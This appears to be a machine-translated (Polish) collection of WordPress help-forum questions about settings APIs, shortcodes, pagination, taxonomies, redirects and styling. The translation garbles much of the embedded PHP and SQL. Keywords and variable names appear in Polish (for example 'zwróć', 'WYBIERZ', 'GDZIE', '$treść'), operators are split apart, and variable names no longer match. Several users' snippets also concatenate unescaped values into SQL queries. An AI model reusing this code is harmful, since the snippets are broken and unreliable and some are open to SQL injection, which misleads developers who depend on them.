text: Pracuję nad sekcją ustawień dla mojej wtyczki i po zapoznaniu się z dokumentacją Wordpress, która jest w statusie ROGUH DRAFT, a także nad Tworzeniem Stron Opcji - która również jest w "przejściu", zostały mi pytania jak to zrobić poprawnie użyj nowego interfejsu API ustawień, aby dodać stronę opcji dla mojej wtyczki. Zainstalowałem około 30 wtyczek i wyszukałem słowa kluczowe `register_setting`, `add_settings_section` i `add_settings_field` i znalazłem tylko jedno dopasowanie jako część frameworka wtyczek Coffee2Code - dla którego nigdzie nie mogę znaleźć żadnej dokumentacji. Czy ktoś może mi podać działający przykład lub podać link do prostego działającego przykładu, w jaki sposób powinienem użyć nowego „Ustawienia API”, aby utworzyć prostą stronę opcji dla mojej wtyczki?


title: .htpasswd z prośbą o uwierzytelnienie na stronie głównej

text: Mam zainstalowany Wordpress na subdomenie. Dodałem plik .htpasswd do folderu wp-admin. Działa to zgodnie z przeznaczeniem na stronie logowania i jeśli spróbuję anulować lub zamknąć wyskakujące okno, otrzymuję komunikat serwera „Ten serwer nie mógł zweryfikować, czy masz uprawnienia dostępu do żądanego dokumentu”. Problem polega na tym, że prosi również o uwierzytelnienie na wszystkich stronach mojej witryny, ale nie otrzymuję żadnej wiadomości serwera, gdy anuluję okno uwierzytelniania. Każda pomoc byłaby mile widziana.


title: Jak automatycznie podświetlić składnię kodu w poście?

text: Wysyłam moje kody z różnych języków programowania. Teraz chcę wyróżnić składnię kodów różnymi kolorami. Ale robienie tego ręcznie jest czasochłonne. Czy jest jakaś wtyczka lub metoda, która może to zrobić automatycznie? Ściśle rzecz biorąc, należy to zrobić w CSS.


title: zbłąkane <p> elementy

text:
Zakodowałem wordpress shortcode dla kolumn, które w zasadzie wstawiają html za pomocą shortcode. Problem polega na tym, że wpautop dodaje zabłąkane elementy p, które powodują, że kod jest nieprawidłowy. Aby przetestować, umieść to w functions.php: function static_col_container($atts, $content) { extract(shortcode_atts(array( 'foo' => 'bar' ), $atts)); $treść = do_shortcode($treść); $container = '
' . $treść . '
'; zwróć $kontener; } add_shortcode('static-cont', 'static_col_container'); function static_col($atts, $content) { extract(shortcode_atts(array( 'space' => '2', 'class' => '' ), $atts)); $treść = do_shortcode($treść); $column_container = '
' . $treść . '
'; return $kolumna_kontener; } add_shortcode('static-col', 'static_col'); Sposób użycia to: [static-cont] [static-col] umieść tutaj jakąś treść... [/static-col] [static-col] umieść trochę treści tutaj... [/static-col] [/static-cont] Wiem, że Wordpress używa wpautop do wstawiania znaczników p, które można wyłączyć poprzez: remove_filter('the_content', 'wpautop'); Problem polega na tym, że teraz musisz samodzielnie wprowadzić każdy element p, co jest uciążliwe i sprawia, że edytor wizualny jest bezużyteczny. Czy ktoś znalazł lepsze rozwiązanie?


title: Właściwe użycie wp_get_object_terms

text: **Podsumowanie:** Jak mogę uzyskać nazwę i permalink obiektu zwróconego przez wp_get_object_terms()? **Szczegóły:** utworzyłem niestandardowy typ posta o nazwie „ge_zielgruppe” i taksonomię o nazwie „ge_zielgruppe_taxonomy”. Te ostatnie można dołączać do postów oraz do postów typu „ge_zielgruppe”. Na pojedynczej stronie "ge_zielgruppe" chcę pokazać kilka ostatnich postów oznaczonych tym samym "ge_zielgruppe_taxonomy". Osiągnąłem to z <?php $theZielgruppe = wp_get_object_terms($post->ID, 'ge_zielgruppe_taxonomy'); $zielgruppe = new WP_Query(array('ge_zielgruppe_taxonomy' => $theZielgruppe->slug)); $zielgruppe->query('showposts=10'); if ($zielgruppe->have_posts()) : while ($zielgruppe->have_posts()) : $zielgruppe->the_post(); ?> <<--archive-stuff-->> <?php endwhile; endif; ?> Ta część działa (jednak nie wiem czy jest elegancka). Teraz chciałbym umieścić link zaraz po tych 10 postach, wyglądający jak ten <a href="<<--permalink do archiwum 'ge_zielgruppe_taxonomy'-->>" rel="zakładka" title="Więcej postów dla <<--Nazwa 'ge_zielgruppe_taxonomy'-->>; ">Więcej postów dla <<--Nazwa 'ge_zielgruppe_taxonomy'-->> Jak więc uzyskać 1. `<<\--permalink do archiwum 'ge_zielgruppe_taxonomy'-->>` i 2. `<<\--Nazwa 'ge_zielgruppe_taxonomy'-->>`


title: Paginacja numeryczna nie działa

text: Napisałem funkcję, która robi (jest niezmodyfikowana, goła ze mną): protected function _index_numeric_posts_pagination($options){ global $wp_query; $total = $wp_query->max_num_pages; if($total > 1) { if (!$current_page = get_query_var('paged')) $current_page = 1; if(get_option('permalink_structure') !== null){ $format = '&page=%#%'; }else{ $format = 'strona/%#%/'; } return paginate_links(array( 'base' => get_pagenum_link(1) . '%_%', 'format' => $format, 'current' => $bieżąca_strona, 'total' => $total, 'mid_size' = > isset($options['mid_size']) ? $options['mid_size'] : 4, 'type' => isset($options['type']) ? $options['type'] : 'list', 'show_all' => isset($options['show_all']) ? $options['show_all'] : false, 'prev_text' => isset($options['prev_text']) ? $options['prev_text'] : 'Dalej', 'next_text' => isset($options['next_text']) ? $options['next_text'] : 'Poprzedni', )); } } Zasadniczo tworzy, domyślnie, stronicowanie numeryczne w stylu listy. Wszystko działa, pojawia się, działa... Problem polega na tym, że kliknięcie na stronę drugą, trzecią lub dowolną stronę daje mi link taki jak: `http://127.0.0.1/wordpress/?author=1&page =2` To jest to, czego chcesz, dopóki nie zdasz sobie sprawy, że paginacja w ogóle NIE działa. Więc przetestowałem to klikając na stronę 3 i dostałem: `http://127.0.0.1/wordpress/?author=1&page=2&page=3` i pomyślałem - ok więc surley popsułem paginację, wróćmy do `< \- poprzedni, Następny ->` styl linku, paginacja działa tak jak powinna, `http://127.0.0.1/wordpress/?author=1&page=2` faktycznie pokazuje posty na stronie 2 przy użyciu nienumerycznej paginacji.... Czy ktoś mi powie, co jest nie tak z moją funkcją, aby paginacja numeryczna nie działała?


title: Umieszczanie map google na stronie wordpress za pomocą edytora stron wordpress

text:
Tworzę stronę internetową dla restauracji, mam działający kod, który robi to, co chcę. Wyświetla mapę. Pod mapą mam formularz z dwoma danymi wejściowymi. Pierwsze dane wejściowe pozwalają komuś określić, skąd chce uzyskać wskazówki, a drugie dane wejściowe są już wypełnione i są ustawione jako lokalizacja restauracji. Po przesłaniu wskazówki są wyświetlane na tej samej stronie. Mój problem polega na tym, że kod działa dobrze na prostej stronie html, ale kiedy próbuję dodać kod do strony z panelem administracyjnym WordPress za pomocą zakładki tekst na stronie edycji, mapa wyświetla się, ale formularz wydaje się nie być pracujący. Oto działający kod

Wyznacz trasę:

 Z: <input id="fromAddress „ name="od" value="" class="textbox txtMapDirections" type="text">

 Do:      <input id="toAddress" name="to" value="" class="textbox txtMapDirections" type="text">

 <input name="prześlij" value="Uzyskaj wskazówki" onclick="calcRoute(); return false" class="button button_directions" type="submit">


title: Zaimportowane niestandardowe typy postów nie są edytowalne

text: Właśnie zaimportowałem treść do mojej bazy danych Wordpress (3.5.2) i mam kilka niestandardowych typów postów. Mój problem polega na tym, że nie mogę administrować żadną z niestandardowych treści typu post, które właśnie zaimportowałem, ponieważ tytuły moich postów – mimo że się pojawiają – nie są hiperłączami na moich stronach administracyjnych Wordpress, ani „Edytuj | Szybka edycja | Trash | View” pojawiają się linki — więc nie mogę uzyskać dostępu do żadnych moich postów, aby nimi administrować. Co jeszcze dziwniejsze, ten problem dotyczy postów, które zaimportowałem, a nie nowych postów. Na przykład zarejestrowałem nowy post w tym niestandardowym typie postu i działał on dobrze w moim administratorze - wszystkie linki administratora pojawiały się i działały poprawnie. Wygląda więc na to, że problem dotyczy postów, które zaimportowałem (co zrobiłem za pomocą SQL, przenosząc się z jednej tabeli do drugiej, ponieważ jest to bardzo duży zestaw danych). Czy ktoś ma sugestie, jak mogę to naprawić, aby móc administrować zaimportowaną zawartością niestandardowego typu posta?


title: get_current_site() nie zwraca nazwy witryny

text: Funkcja `get_current_site()` znajdująca się w pliku footer.php moich motywów nie zwraca właściwości 'site name', jak określono w dokumentacji (i oczekiwano w motywie). Celem tej funkcji jest zwrócenie wszystkich szczegółów dotyczących witryny nadrzędnej w konfiguracji z wieloma witrynami. Jedyne zwracane wartości, które otrzymuję, to blog_id i path. np.: <?php print_r(get_current_site());?> Zwraca: obiekt stdClass ( [id] => 1 [domena] => www.mojadomena.co.uk [ścieżka] => / [id_bloga] => 1 )


title: Jak zablokować dostęp do pulpitu nawigacyjnego i zarządzania profilami zwykłym użytkownikom?

text: Zajmuję się tworzeniem witryny przy użyciu Wordpress, phpbb3 i WP phpbb Bridge. Użytkownicy muszą zarządzać swoim profilem przez phpbb3 i chciałbym uniemożliwić normalnym użytkownikom dostęp do strony mysite.com/wp-admin/ . Jak mogę to wdrożyć?


title: Konwertuj linki do osadzania Wordpress.com na zwykłe osadzania

text: Postawiłem zadanie przeniesienia kilku dobrze znanych blogów z wordpress.com do niezależnego hostingu przy użyciu Wordpress. Wordpress.com używa specjalnego parsera do pobierania rzeczy takich jak: [youtube=http://youtu.be/JN3n34dS] i konwertowania tego na embed YouTube (na przykład dzieje się tak z innymi linkami, takimi jak Mapy Google itp. ). Czy istnieje systematyczny sposób na przekonwertowanie wszystkich tych linków na zwykłe osadzania? Dziękuję!


title: Tabela pojawia się w trybie wizualnym edytora, ale nie w podglądzie ani po opublikowaniu

text:
Używam motywu porównania i mam problem z `tabelami`. Stworzyłem tabelę HTML, która po przejściu do trybu Visual wydaje się być poprawna. ![tutaj podaj opis obrazu](http://i.stack.imgur.com/bUI3M.png) Ale kiedy przeglądam/publikuję to, nie widzę tabeli. Możesz to sprawdzić tutaj. Jest tam tylko tekst komórek. Poniżej znajduje się fragment kodu pliku `single-product.php`, który generuje stronę.

<?php echo stripslashes(get_the_title()); ?>
 <?php // Sprawdź, czy ma globalny opis produktu (również przechowywany jako meta postu) $q = "SELECT product_description FROM ".$wpdb->prefix."pc_products_custom WHERE product_id = ".$post-> ID; $wynik = $wpdb->get_results($q); $treść = $result[0]->opis_produktu; // Jeśli nie ma globalnego opisu produktu, użyj domyślnego. if ($ content == ''){ $q = "SELECT rel.id_feed, rel.id_product FROM ".$wpdb->prefix."pc_products_feeds_relationships rel JOIN ".$wpdb->prefix."pc_feeds fe ON rel.id_feed = fe.id GDZIE rel.id_product = ".$merchants[0]->id_product." AND fe.feed_use_master_description = 1 AND fe.active = 1 LIMIT 1"; $results_f = $wpdb->get_row($q); $results_desc; if(!empty($results_f)){ $q = "WYBIERZ slug z ".$wpdb->prefiks."pc_products_merchants WHERE feed = ".$results_f->id_feed; $results_s = $wpdb->get_row($q); $q = "SELECT feed_product_desc FROM ".$wpdb->prefix."pc_products WHERE id_product = ".$results_f->id_product." AND id_merchant='".$results_s->slug."' LIMIT 1"; $results_desc = $wpdb->get_row($q); } if (!empty($results_desc->feed_product_desc)){ $content = $results_desc->feed_product_desc; } else { $treść = get_the_content(); $treść = strip_tags($treść); } } $rozmiar = 3500; if(strlen($zawartość) > $rozmiar) { while(isset($zawartość[$rozmiar]) && $zawartość[$rozmiar] != ' ') { $rozmiar++; } $display_content = substr($content,0,$size).''.substr($content,$size,strlen($content)).' ... '.__('Więcej' ,'framework').''; $display_content .= ''; } else { $display_content = $treść; } ?> <?php echo $display_content; ?>  Nie znam PHP, ale domyślam się, że `$display_content` pomija tabelę. Czy ktoś zna przyczynę tego problemu i jak można to rozwiązać? Próbowałem wtyczek `Easy-Table` i `Tablepress`, ale one również nie działały.


title: wp_redirect działa tylko dla stron zewnętrznych

text: Chcę, aby niezalogowani użytkownicy byli przekierowywani na stronę główną z formularzem logowania/rejestracji. Po zalogowaniu wszystkie strony będą dostępne. Dodałem następujący kod do mojego pliku header.php <?php if( !is_user_logged_in() ) wp_redirect('http://krins.frisweb.nl' ); Wyjście(); ?> Działało to lokalnie (z adresem url localhost), ale po przesłaniu witryny do testowej subdomeny powoduje błąd: ERR_TOO_MANY_REDIRECTS Jeśli zmienię adres URL na inny, przekierowanie znów działa, ale z jakiegoś powodu psuje się podczas zamiany adresu URL na adres URL strony głównej/witryny. Dzięki za pomoc.


title: Gdzie jest szablon „standardowego” formatu posta w temacie dwudziestym trzynastym?

text: Wybrałem „standardowy” format postu: ![tutaj wpisz opis obrazu](http://i.stack.imgur.com/264Tv.png) Próbuję teraz edytować układ postów w indeksie. php Widzę następujący wiersz: get_template_part( 'content', get_post_format() W katalogu dwadzieścia trzynaście widzę kilka stron z treścią, które zakładam, że są układem postu dla różnych formatów, które mogę wybrać w poście. * content-aside .php * content-audio.php * content-chat.php * content-gallery,php * content-image.php * content-link.php * content-none.php * content-quote.php * content-status.php * content-video.php Spodziewałem się zobaczyć content.php lub content-standard.php, ale nie mogę znaleźć niczego, co wpływa na układ.Gdzie jest ten plik (jeśli istnieje)?


title: Dodaj niestandardowe pole do kategorii

text: Chciałbym dodać pole niestandardowe do kategorii. Mam na myśli to, że kiedy tworzę kategorię mam tylko Nazwa: Ślimak: Rodzic: Opis: Ponieważ mam witrynę z serialami telewizyjnymi, chcę dodać więcej pól, chcę coś takiego, kiedy tworzę nową kategorię (Kategoria=Seriale ) Imię i nazwisko: Artysta: Rok: Typ: Gatunek: Podsumowanie: Ślimak: Rodzic: Opis: I tak dalej... Proszę o pomoc? Z góry dziękuję.


title: Jak ustawić stronę jako stronę główną zamiast stron z wiadomościami?

text: Potrzebuję pomocy. Chcę to samo, co na tej stronie: http://www.123ipad.nl/ (to jest moja strona) Kiedy wchodzisz na stronę domową, przechodzisz na stronę zamiast na stronę z wiadomościami. Strony z wiadomościami znajdują się w podmapie /ipad **Więc mam dwa pytania:** 1: jak uzyskać strony z wiadomościami w podmapie /ipad 2: Jak ustawić permalink mojej pierwszej utworzonej strony jako stronę główną? Tak samo jak na tym obrazku: > ![wpisz tutaj opis obrazka](http://i.stack.imgur.com/fBu2g.jpg) gdzie nic nie widzisz po `http://www.123ipad.nl/` )


title: Tworzenie listy rozwijanej i przycisku filtrowania dla dwóch niestandardowych taksonomii przypisanych do niestandardowego typu postu

text: Używam poniższego kodu do utworzenia menu rozwijanego i przycisku filtrowania dla dwóch niestandardowych taksonomii przypisanych do niestandardowego typu posta o nazwie Zawartość strony (pełny poprzedni kod tutaj): function parse_query($query) { global $pagenow; $qv = &$query->query_vars; if ($pagenow=='edit.php' && isset($qv['taxonomy']) && $qv['taxonomy']=='lokalizacje' && isset($qv['term']) && is_numeric($ qv['term'])) { $term = get_term_by('id',$qv['term'],'locations'); $qv['term'] = $term->slug; } if ($pagenow=='edit.php' && isset($qv['taxonomy']) && $qv['taxonomy']=='page_sections' && isset($qv['term']) && is_numeric( $qv['term'])) { $term = get_term_by('id',$qv['term'],'page_sections'); $qv['term'] = $term->slug; } } // Dodaj rozwijane menu filtra dla funkcji niestandardowych taksonomii limited_manage_posts() { global $typenow; globalne $wp_query; if ($typenow=='page_content') { $taksonomia = 'lokalizacje'; $lokalizacje = get_taxonomy($taksonomia); wp_dropdown_categories(array( 'show_option_all' => __("Pokaż wszystkie {$locations->label}"), 'taxonomy' => $taxonomy, 'name' => $taxonomy, 'orderby' => 'name', ' selected' => $wp_query->query['term'], 'hierarchical' => true, 'depth' => 3, 'show_count' => true, // To da widok 'hide_empty' => true, // To da fałszywe alarmy, tj. nie jest pusty w związku z innymi terminami DO ZROBIENIA: Napraw to )); } if ($typenow=='page_content') { $taxonomy = 'page_sections'; $page_sections = get_taxonomy($taxonomy); wp_dropdown_categories(array( 'show_option_all' => __("Pokaż wszystkie {$page_sections->label}"), 'taxonomy' => $taxonomy, 'name' => $taxonomy, 'orderby' => 'name', ' selected' => $wp_query->query['term'], 'hierarchical' => true, 'depth' => 3, 'show_count' => true, // To da widok 'hide_empty' => true, // To da fałszywe alarmy, tj. nie jest pusty w związku z innymi terminami DO ZROBIENIA: Napraw to )); } } TwojaWitryna_StronaZawartość::on_load(); } Ale otrzymuję następujące ostrzeżenie: Błąd analizy: błąd składni, nieoczekiwany T_STRING, oczekiwany T_FUNCTION w /home/alex/www/wpac/wp-content/themes/prominent/functions/custom-post-types.php on-line 181 To jest wiersz 181: `YourSite_PageContent::on_load();`


title: UTF-8 Znaki w adresie URL - problem z IE

text: Próbuję tworzyć linki do kalendarza Google z postów, robię to tak: $base_url = 'http://www.google.com/calendar/event'; $params = array( 'action' => 'SZABLON', 'text' => strip_tags(get_the_title()), 'dates' => $dates, 'details' => strip_tags( get_the_excerpt() ), 'location' = > $location, 'sprop' => get_option('blogname'), 'trp' => 'false', 'sprop' => 'website:' .home_url() ); $url = add_query_arg( $params, $base_url ); return esc_html($url); ale IE odczytuje znaki UTF-8 w adresie URL jako zakodowane procentowo (jest to ogólny problem, ponieważ standardowe „ładne adresy URL” są również zakodowane w IE), więc zamiast someurl.com/שלום dostaję someurl.com /%D7%A9%D7%9C%D7%95%D7%9D Czy istnieje rozwiązanie tego problemu po stronie WP? Nie jestem pewien, jak rozwiązać ten problem, czy może to być rdzeń WP, czy jest coś, co mogę zrobić dla moich wygenerowanych adresów URL kalendarza. Muszę zauważyć, że FX i Chrome poprawnie kodują znaki. Dziękuję


title: Dodawanie menu wtyczek w multisite

text: $wp_admin_bar->add_menu( array( 'parent' => $ menu_id, 'id' => $ menu_id . '-przykład', 'title' => __( 'Przykładowa pozycja menu', 'przykład' ), 'href' => get_admin_url( $blog->userblog_id, 'edit.php?post_type=example' ), ) ); Powiedzmy, że mam wtyczkę, która dodaje nowy element menu dla przykładowego niestandardowego typu postu do menu bloga. Problem polega na tym, że mam wiele blogów, ale ta wtyczka aktywowana tylko na 1 blogu, pokazuje się tylko, gdy jestem na tym blogu i dodaje przykładowe menu do każdej grupy menu bloga, nawet ta wtyczka nie jest aktywowana w tych blogach. **Przykład: ** Aktywowałem wtyczkę w blogid:2, ale nie aktywowałem jej w blogid:3 lub blogid:4. Kiedy jestem we wtyczce blogid:2 dodaję to menu do wszystkich blogów. Kiedy jestem w blogid:3 lub blogid:4, nie widzę tego menu na liście blogid:2 Jaki jest właściwy sposób, aby to naprawić? **Aktualizacja:** próbuję dodać te linki dla każdego bloga, który aktywował tę wtyczkę na liście „Moje witryny”


title: Wordpress Znajdź zduplikowany post według treści

text: Czy istnieje sposób na znalezienie podobnych/duplikowanych postów wordpress według post_content. Wypróbowałem wtyczkę "Find Duplicates", ale wyszukiwanie zajmuje dużo czasu, ponieważ w mojej bazie danych mam ponad 7000 postów. To, co chcę osiągnąć, to przeszukiwać posty opublikowane w bieżącym tygodniu ze wszystkimi starymi postami i znajdować podobne posty i usuwać je.


title: użycie pseudonimu i nicename?

text: Pseudonim jest używany do ślimaka autora w adresie URL. Ale czy ktoś może powiedzieć, jakie jest specjalne zastosowanie/zastosowanie pola meta użytkownika „nick” w wordpressie? lub jest to po prostu kolejne dodatkowe pole do wyświetlenia pseudonimu.


title: Manipuluj wyjściem wp_list_something: wybierz menu zamiast li

text: Pracuję nad responsywnym projektem internetowym, w którym moja nawigacja powinna zamienić się w menu wyboru podczas zmiany rozmiaru okna na mniejsze rozmiary. Czy jest w jakiś sposób możliwe dodanie kolejnego parametru do funkcji takich jak `wp_list_categories()` lub `wp_list_pages()` tak, aby wyświetlał `<option>item</option>` zamiast `<li>item</li>`? Więc to, co chcę zrobić, to użyć `wp_list_pages()` i `wp_list_categories()`, aby wyprowadzić swoje domyślne ustawienia, aby mieć normalne menu. Jednak chcę również umieścić te same strony i kategorie w drugiej nawigacji `<select><option>…`, która jest domyślnie ukryta, ale wyświetlana po uruchomieniu zapytania o media. Masz pomysł, jak dynamicznie wyprodukować to drugie menu? Z góry dziękuję!


title: Wyszukiwanie zaplecza; dołączyć meta CPT?

text: Obecnie mam CPT z 2 tytułami części; Wszystko działa perfekcyjnie na froncie. Ale jeśli chodzi o wyszukiwanie posta, post, którego szukasz, nie zawsze się pojawia, ponieważ część tytułu znajduje się w meta dla tego posta. Czy jest jakiś sposób, aby dołączyć meta do wyszukiwania zaplecza CPT?


title: Uzyskaj meta_id wraz z meta_key i meta_value

text: Czy w jakiś sposób można uzyskać `get_post_meta` lub `get_post_custom` i zwrócić meta_id wraz z `meta_value`? Na przykład: $data = get_post_meta( $post_id, 'my_key' ); // zwraca to: array( 0 => array('mojawartość1', 1002 ), 1 => array( 'mojawartość2', 1003 )); Podstawowa idea polega na tym, że ponieważ może istnieć wiele meta_values dla tego samego „meta_key”, musiałbym znać „meta_id”, aby wiarygodnie aktualizować/usuwać meta postu.


title: przesunięcie WP_Query o ujemną wartość 1

text: Mam pętlę zdarzeń i zastanawiałem się, czy można jakoś przesunąć pętlę o -1, aby wyświetlić poprzednie i następne posty bieżącego postu. --edytuj-- Dobra, dzięki za komentarze, moje pytanie było strasznie sformatowane. Myślę, że mogę wyjaśnić. Gdy odwiedzający znajduje się na stronie z jednym wydarzeniem. Chcę pokazać 3 lub 4 wydarzenia na dole strony; pierwsze dwa to minione wydarzenia, a kolejne 2 to nadchodzące wydarzenia. Myślę więc, że będę musiał zrobić zapytanie o wszystkie zdarzenia i uzyskać pozycję bieżącego wyniku zdarzenia, odjąć 2 od tej liczby i zastosować tę liczbę do przesunięcia. <?php $upcoming_events_args = array( 'post_type' => 'event', 'meta_key' => 'data_początkowa', // nazwa niestandardowego pola 'orderby' => 'meta_value_num', 'order' => 'ASC', 'posts_per_page' => '3', 'meta_query' => array( array( 'key' => 'data_początkowa', 'value' => $date_of_page, 'compare' => '>=', 'type' => 'DATA'           ))         );


title: Ukryj obrazy galerii produktów WooCommerce

text: Mam problem z dodaniem zdjęć do treści/opisu produktu i zatrzymaniem ich wyświetlania w galerii pod polecanym zdjęciem. Są to produkty do pobrania, a niektóre zdjęcia mają tylko ulepszyć opisy produktów, ale z pewnością nie chcę ich w galerii. Czy mimo to mogę dodać zdjęcia do opisu produktu bez pokazywania ich w galerii?


title: wybierz pojedynczą wartość przez tabelę w wordpressie

text: Tabela wygląda tak: id_kategorii nazwa_kategorii nazwa_nadrzędnej_kategorii Chciałbym uzyskać `identyfikator_kategorii` używając `nazwa_kategorii`. Szukałem online, a kod wygląda jak poniżej: `$ad_cat` to nazwa kategorii. globalny $wpdb; $tbl_categories = $wpdb->prefiks."awpcp_categories"; $retrieve_data = $wpdb->get_results( "WYBIERZ * Z $tbl_categories gdzie nazwa_kategorii =". $ad_cat ); $category_id=intval($retrive_data->category_id); Powtórzyłem nazwę kategorii i `id` do testowania. Nazwa wygląda dobrze, ale „id” to zawsze „0”. Jakiś pomysł lub rozwiązanie?


title: ukryj menu administratora Wordpress 3.1

text: Właśnie zaktualizowałem jeden z moich blogów do nowego wordpress 3.1 i muszę ukryć menu administratora, które pojawia się na górze stron. Jak to wyłączyć? Dziękuję


title: sortuj i wyświetlaj posty według pola niestandardowego (zapytanie wp i pętla))

text: chcę tylko pokazywać na stronie głównej posty o nadchodzących wydarzeniach. Utworzyłem niestandardowe pole za pomocą wtyczki „custom field suite”, o nazwie „ENDS” reprezentującej datę zakończenia wydarzenia. jak możesz powiedzieć, chcę po prostu nadchodzących wydarzeń w domu, z datą najbliższą obecnej na pierwszym miejscu. po wygaśnięciu chcę, aby został on umieszczony w „archiwum”, które jest widoczne na innej stronie (które powinno również porządkować zarchiwizowane wpisy o wydarzeniach zaczynające się od ostatniego wydarzenia, które wygasło). szablon używa nieskończonego przewijania do ładowania postów, a to jest mój plik indeksu, z domyślną pętlą: http://pastebin.com/x3NzZBZX Muszę zintegrować coś takiego, ale nie odniosłem sukcesu: <?php $query = new WP_Query( 'post_type' => 'post', 'orderby' => 'meta_value', 'meta_key' => 'ENDS', 'order' => 'ASC', 'posts_per_page' => -1, 'meta_query' => array( 'key' => 'ENDS', 'value' => date('Y-m-d H:i:s'), // teraz 'compare' => '>=' ), ); ?> <?php while ( $query->have_posts() ) : $query->the_post(); ?> <a href="<?php the_permalink(); ?>"> <?php the_title(); ?> </a> <?php endwhile; ?>


title: Nadpisywanie wymuszonych stylów CSS wordpress

text: Myślałem o umieszczeniu tego na stronie wordpress stackexchange, ale ma to więcej wspólnego z CSS niż Wordpress. Jednak chyba że muszę przejść do niektórych plików css wtyczek, aby dostosować css, to muszę tam iść i zadać to pytanie? Chcę nadpisać kilka ważnych stylów CSS, które pochodzą z mojego motywu (Genesis Framework z dostosowanym motywem potomnym Minimum Pro) lub wtyczki formularzy grawitacyjnych. Zobaczysz tutaj na tej stronie, że mam formularz, który zmienia rozmiar wraz z oknem. Przy 500 px chcę, aby szerokość wszystkich pól wyboru i wprowadzania wynosiła 100%. Zlokalizowałem konkretne miejsce w moich mediach zapytaniach i tam umieściłem kod. Jednak ponieważ szerokość: 95% !ważne; został ustawiony gdzieś, gdzie (nie w moim arkuszu stylów) moje 100% jest nadpisywane przez 95%. Są to style, które chciałbym zastąpić .gform_wrapper .ginput_complex input[type=text], .gform_wrapper .ginput_complex input[type=url], .gform_wrapper .ginput_complex input[type=email], .gform_wrapper .gintypeput_complex input[type=url] =tel], .gform_wrapper .ginput_complex input[type=liczba], .gform_wrapper .ginput_complex input[type=password], .gform_wrapper .ginput_complex select {szerokość: 95% !ważne; }. tel], .gform_wrapper .ginput_complex .ginput_right input[type=liczba], .gform_wrapper .ginput_complex .ginput_right input[type=password], .gform_wrapper .ginput_complex .ginput_right select {szerokość: 95%! ważne; } To jest mój ogólny styl nadpisywania, który chciałbym zastosować do WSZYSTKICH formularzy @media only screen i (max-width: 500px) input, select, textfield { width: 100%!important; } Ponieważ jest to wordpress, nie mam kodu HTML, ale zrobiłem zrzut ekranu stylów css (możesz też kliknąć prawym przyciskiem myszy jedno z wejść i również to zobaczyć). ![tutaj wprowadź opis obrazu](http://i.stack.imgur.com/mpPAU.jpg) Moje pytanie brzmi: jak zastąpić te style najwyższego poziomu ustawieniami szerokości zapytania o media? Bawiłem się stylami, ale oczywiście coś przegapiłem? Mam nadzieję?


title: Paginacja w niestandardowej pętli dla niestandardowego typu wpisu zgłaszającego błąd 404

text:
Szukałem podobnych problemów, ale to nie zadziałało, jestem całkowicie początkujący z WordPressem. Zrobiłem niestandardowe zapytanie, ale paginacja wyrzuca mi błąd 404 ## Query $paged = (get_query_var('page')) ? get_query_var('strona') : 1; $default = array( 'post_type' => 'dlm_download', 'posts_per_page' => 2, 'paged' => $paged, 'meta_key' => '_featured', 'dlm_download_category' => $term->slug ); $args = $domyślne; foreach ($ downloads as $download) : setup_postdata($download); // pętla tutaj endforeach; ## Podział na strony $the_query = nowe WP_Query( $args ); $duży = 999999999; $pagenum = str_replace( $duży, '%#%', get_pagenum_link( $duży ) ); echo '
'; echo paginate_links( array( 'base' => $pagenum, 'format' => '?paged=%#%', 'current' => max( 1, get_query_var('paged') ), 'total' => $ the_query->max_num_pages ) ); echo "
"; A kiedy otrzymuję `http://mysite.com/?dlm_download_category=kategoria-1&paged=2` Błąd 404, czy ktoś mógłby mi podpowiedzieć?


title: Dodaj ikonę obok tytułu meta pola w postach/stronach

text: Próbuję dodać "ikonę pomocy", która będzie używana do wyświetlania "tekstu pomocy" za pomocą podpowiedzi lub wskaźników do sekcji administratora. Teraz próbuję zrozumieć, jak mogę dodawać posty/strony w każdym polu, które chcę. Na przykład chcę w pobliżu tytułu posta/strony, a następnie w pobliżu każdego pola meta itp. Moje pytanie brzmi, czy można to zrobić za pomocą jakiegoś haka lub filtra, czy też muszę do tego użyć jquery?


title: Jak zastosować filtr „retrive_password_message”?

text: Chciałbym zmienić treść wiadomości e-mail dotyczącej resetowania hasła, którą wysyła WP, na coś bardziej przyjaznego. Próbuję użyć filtru „retrive_password_message”, ale psuję to. Czy ktoś może uprzejmie opublikować przykładowy kod?


title: utwórz kategorię po zapisaniu posta i zapisz post w tej kategorii

text: To, co próbuję zrobić, jest podobne do tego, ale trochę różnimy się w uzyskiwaniu naszych informacji. Zasadniczo, gdy użytkownik tworzy post (w ramach typu **sugestie** niestandardowego posta) w mojej witrynie, nie jest on publikowany od razu, ale oczekuje na sprawdzenie. Używam formularzy Gravity, aby użytkownik mógł tworzyć posty/sugestie na interfejsie. Załączam ten formularz frontendowy na poszczególnych stronach. Chcę, aby po zapisaniu posta (oczekującego na sprawdzenie) użytkownika, utworzona została kategoria pod typem postu Sugestie w zależności od **nazwy i ślimaka bieżącej strony**, do której dołączony jest formularz. Oczywiście nie należy go tworzyć ponownie, jeśli już tam jest (np. był inny użytkownik, który jako pierwszy opublikował sugestię). Na przykład: Użytkownik opublikował sugestię na stronie Aktorzy (typu Post Film). Ta strona zawiera slug _aktorów_. Jeśli jest pierwszym, który zasugeruje na tej stronie, należy utworzyć kategorię pod typem postu Sugestie o nazwie _Aktorzy_ i slug _aktorzy_, w której ma zostać zapisany jego post (lub sugestia). Jeśli nie jest pierwszym, który zasugeruje, nie ma potrzeby ponownego tworzenia kategorii, ponieważ została już wcześniej przez kogoś utworzona, wystarczy ją zapisać w tej kategorii (co mogą być obsługiwane przez formularze Gravity, o ile kategoria istnieje i nie do stworzenia). Nie jestem pewien, co umieścić w functions.php. Ktoś, kto może mi w tym pomóc? Mam nadzieję, że wyraziłem się tutaj jasno.


title: Używanie niestandardowych parametrów adresu URL na stronie

text: Próbuję stworzyć niestandardową galerię obrazów, która pobiera obrazy z postów, jak można zobaczyć tutaj http://kurdaktuellt.se/galleri/ Problem polega na tym, że staram się, aby adres URL był nieco przyjazny dla użytkownika i przeszukałem internet, aby uzyskać odpowiedź, a najbliższa rzecz, którą wymyśliłem, to add_action( 'init', 'wpse12065_init' ); funkcja wpse12065_init() { global $wp; $wp->add_query_var('obrazy'); add_rewrite_rule( '^galleri/images/([^/]*)/?', 'index.php?pagename=galleri&images=$matches[1]', 'top' ); } Ten adres URL działa dobrze http://kurdaktuellt.se/?pagename=galleri&images=1452, ale ten http://kurdaktuellt.se/galleri/images/1598/ nic nie pokazuje Jakakolwiek pomoc jest bardzo mile widziana Pozdrawiam


title: Czy można poprosić o kilka typów postów z kanału?

